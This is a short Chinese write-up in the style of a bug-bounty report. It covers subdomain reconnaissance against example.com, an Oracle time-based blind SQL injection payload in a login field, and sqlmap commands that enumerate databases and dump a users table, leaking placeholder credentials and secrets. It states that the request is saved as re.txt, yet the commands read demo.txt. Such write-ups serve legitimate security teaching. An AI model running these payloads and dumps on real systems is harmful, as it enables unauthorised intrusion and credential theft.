前期侦察
assetfinder example.com -subs-only > asset.txt
subfinder -d example.com >> asset.txt
findomain -t example.com -o >> asset.txt
cat asset.txt | httprobe | tee -a alive.txt
接着使用 katana + gau + waybackurls
寻找每个被遗忘的端点:
katana -list alive.txt -o endpoints.txt
gau example.com >> endpoints.txt
在该过程中,发现了一些有趣的东西:
<https://admin.example.com/login/authenticate>
隐藏的登录页面
这是一个登录页面,没有注册,没有忘记密码,也没有开发暂存泄漏 ,只有 u_username 和 u_password ,但也许这些就足够了。
通过 Burp 捕获请求:
POST /login/authenticate HTTP/1.1
Host: admin.example.com
Content-Type: application/x-www-form-urlencoded
u_username=test&u_password=test123
有些奇怪。
基于时间的盲注
在尝试了所有常用的 Payloads 后,发现当操作 u_username
时,服务器的响应时间会有所延迟 ,这是一个典型的基于时间的 Oracle 盲注信号。
Payload 如下:
u_username='||(SELECT CHR(108)||CHR(111)||CHR(77)||CHR(110) FROM DUAL WHERE 1986=1986 AND 8601=DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(84)||CHR(98)||CHR(108),5))||'&u_password=anything
成功延迟5秒。
SQLMap
将以上请求保存在 re.txt 中,然后运行:
sqlmap -r demo.txt --batch --level=5 --risk=3 --technique=T --dbs
结果显示:
[INFO] The back-end DBMS is Oracle
[INFO] retrieved: SYSTEM
[INFO] retrieved: INTERNAL_DB
bingo!🎉
深入挖掘数据库
sqlmap -r demo.txt -D INTERNAL_DB --tables
结果:
users
sessions
tokens
config_settings
直接dump:
sqlmap -r demo.txt -D INTERNAL_DB -T users --dump
成功提取:
username: admin
password: $2y$12$3xP3DCRFkdUEyR7E.lNmoOhtrm5CVW8qRMohJ2gkGnNkj8TkdriL2
email: [email protected]
敏感信息泄露
通过查看数据库的其它表还发现了:
- config_settings中的API
- 令牌中的 JWT 密钥
- Slack 和 SMTP 凭证
- 内部S3存储桶和访问令牌
API_KEY=sk_live_abc123...
JWT_SECRET=superdupersecret123
SLACK_WEBHOOK=https://hooks.slack.com/services/...
因此漏洞报告也从“SQL注入”(高危)变为了(严重):
- 基于时间的盲注(Oracle)
- 完整数据库枚举
- 凭证泄露
- API Token泄漏
- 内部基础设施暴露
你学到了么?